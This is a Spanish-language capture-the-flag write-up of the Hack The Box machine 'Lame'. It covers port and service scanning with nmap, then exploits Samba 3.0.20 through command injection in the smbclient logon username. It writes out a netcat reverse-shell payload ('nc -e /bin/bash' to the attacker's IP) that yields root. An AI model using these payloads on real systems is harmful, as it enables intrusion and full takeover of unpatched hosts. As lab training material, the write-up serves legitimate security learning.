Lame

Enumeración

Máquina Lame, IP: 10.10.10.3

Se trata de una máquina Linux por su TTL: 64

Enumeración de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.3 -oG allPorts
```

```
-({	t root} oldsymbol{\mathfrak{B}} {	t zephyrus} -[/home/dimegio/Dimegio/HackTheBox/Lame]
mmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.3 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SUN ( https://nmap.org ) at 2024-07-20 12:29 CEST
Initiating SYN Stealth Scan at 12:29
Scanning 10.10.10.3 [65535 ports]
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 12:29, 26.53s elapsed (65535 total ports)
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.060s latency). Scanned at 2024-07-20 12:29:23 CEST for 27s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT
          STATE SERVICE
                               REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd
                               syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.62 seconds
            Raw packets sent: 131084 (5.768MB) | Rcvd: 19 (836B)
(root® zephyrus)-[/home/dimegio/Dimegio/HackTheBox/Lame]
```

Enumeración de servicios y versiones de los puertos

```
nmap -sC -sV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

```
-({	t root} oldsymbol{rac{1}{8}} {	t zephyrus}) -[/home/dimegio/Dimegio/HackTheBox/Lame]
# nmap -sC -sV -p21,22,139,445,3632 10.10.10.3 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-20 12:44 CEST
Nmap scan report for 10.10.10.3
Host is up (0.11s latency).
         STATE SERVICE
                            VERSION
PORT
         open ftp
                            vsftpd 2.3.4
 _ftp-anon: Anonymous FTP login allowed (FTP code 230)
 ftp-syst:
    STAT:
  FTP server status:
       Connected to 10.10.16.11
       Logged in as ftp
       TYPE: ASCII
       No session bandwidth limit
       Session timeout in seconds is 300
       Control connection is plain text
       Data connections will be plain text
       vsFTPd 2.3.4 - secure, fast, stable
|_End of status
                            OpenSSH 4.7p1 Debian Subuntu1 (protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
    1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
    2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
 smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
    message_signing: disabled (dangerous, but default)
 _clock-skew: mean: 2h01m29s, deviation: 2h49m45s, median: 1m27s
 smb-os-discovery:
    OS: Unix (Samba 3.0.20-Debian)
    Computer name: lame
    NetBIOS computer name:
    Domain name: hackthebox.gr
    FQDN: lame.hackthebox.gr
    System time: 2024-07-20T06:45:56-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.02 seconds
   (root@zephyrus)-[/home/dimegio/Dimegio/HackTheBox/Lame]
```

Explotación

A través de la enumeración vemos que se trata del servicio Samba con la versión 3.0.20, por lo tanto buscamos algún exploit potencial.

Vemos el exploit: unix/remote/16320.rb. Si inspeccionamos el código, vemos que tenemos que utilizar el usuario /=nohup + payload entre comillas. por lo cual. Mediante smbclient nos conectamos a una sesión nula y utilizamos el comando logon para conectarnos con otro usuario.

```
smbclient //10.10.10.3/tmp -N
```

Tmp, es un recurso que fue descubierto mediante la enumeración de recursos "-L"

```
(dimegio⊕ zephyrus)-[~]

$ smbclient //10.10.10.3/tmp -N

Anonymous login successful

Try "help" to get a list of possible commands.

smb: \> logon "≠'nohup ping -c 1 10.10.16.11'"

Password:

session setup failed: NT_STATUS_LOGON_FAILURE

smb: \> |

(dimegio⊕ zephyrus)-[~]

$ sudo tcpdump -i tun0 icmp -n

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode

listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

17:54:29.421442 IP 10.10.10.3 > 10.10.16.11: ICMP echo request, id 49216, seq 1, length 64

17:54:29.421464 IP 10.10.10.16.11 > 10.10.10.3: ICMP echo reply, id 49216, seq 1, length 64
```

Vemos que tenemos inyección de comandos, por lo cual nos entablamos la reverse shell mediante netcat.

```
nc -e /bin/bash 10.10.16.11 443
```

```
(dimegio® zephyrus)-[~]
$ smbclient //10.10.10.3/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "= 'nohup nc -e /bin/bash 10.10.16.11 443'"
Password:

(dimegio® zephyrus)-[~]
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.10.3] 60569
whoami
root
script /dev/null -c bash
root@lame:/# whoami
root
root@lame:/# |
```

Post Explotación

Tratamiento de la TTY

```
$ script /dev/null -c bash
$ Z^
$ stty raw -echo; fg
     reset xterm
$ export TERM=xterm
$ export SHELL=bash
$ stty rows 60 columns 227
```

Como somos root ya podríamos obtener directamente la flag del usuario root.